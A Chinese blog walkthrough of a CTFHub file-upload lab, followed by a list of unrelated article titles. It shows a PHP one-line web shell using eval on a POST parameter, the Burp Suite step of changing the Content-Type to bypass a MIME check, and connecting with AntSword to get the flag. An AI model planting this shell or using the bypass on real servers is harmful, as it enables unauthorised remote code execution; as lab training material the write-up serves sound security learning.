当前位置: 首页 > news >正文

CTFHUB技能树之文件上传——MIME绕过

开启靶场,打开链接:

直接指明是MIME验证


新建04MIME.php文件,内容如下:

<?php echo "Ciallo~(∠・ω< )⌒★";@eval($_POST['pass']);?>

(这里加了点表情,加带点私货)


用burp抓包:


将application/octet-stream改成image/png或者jpg和gif符合条件就行:

之后再点击“forward”提交修改后的报文


木马文件上传成功


访问一下该文件,触发一下:


蚁剑连接:

成功得到flag:

ctfhub{8039866f66db23fc86ef1e42}

http://www.lryc.cn/news/467346.html

相关文章:

  • 4种鼓励创业创新的方法
  • C#中的LINQ之美:优雅的数据查询与操作
  • 深入浅出:深度学习模型部署全流程详解
  • git已经commit,但未push想撤回提交
  • SSL VPN调试思路及配置指南
  • 多租户架构的全景分析(基本概念、实现策略、资源管理和隔离、数据安全与隔离、性能优化、扩展性与升级、案例研究)
  • TDengine数据库整合MyBatis实现SpringBoot项目CRUD
  • 1493. 删除一个元素以后全为1的最长子数组 - 题解
  • 密钥管理方法DUKPT的OpenSSL代码实现Demo
  • 计算机视觉中的坐标变换
  • C++——NetWork
  • iOS -- 代码优化
  • docker配置普通用户访问
  • php后端学习,Java转php
  • Elasticsearch 中管道介绍
  • 将jinjia2后端传到前端的字典数据转化为json
  • Linux中如何理解一切皆文件
  • 【贪心算法】(第十一篇)
  • React(五) 受控组件和非受控组件; 获取表单元素的值。高阶组件(重点),Portals; Fragment组件;严格模式StrictMode
  • 深入解析 Jenkins 自动化任务链:三大方法实现任务间依赖与状态控制
  • 无人机飞手执照培训为什么需要脱产学习?
  • PostgreSQL(十三)pgcrypto 扩展实现 AES、PGP 加密,并自定义存储过程
  • uniapp使用webView打开的网页有缓存如何解决(APP,微信小程序)
  • HarmonyOS 模块化设计
  • 解决docker拉取readeck镜像报Error response from daemon: toomanyrequests问题
  • duilib的应用 在双屏异分辨率的显示器上 运行显示不出来
  • 零代码快速开发智能体 |甘肃旅游通
  • 【MATLAB源码-第187期】基于matlab的人工蜂群优化算法(ABC)机器人栅格路径规划,输出做短路径图和适应度曲线。
  • qt获取本地语言
  • 【Spring篇】Spring中的Bean管理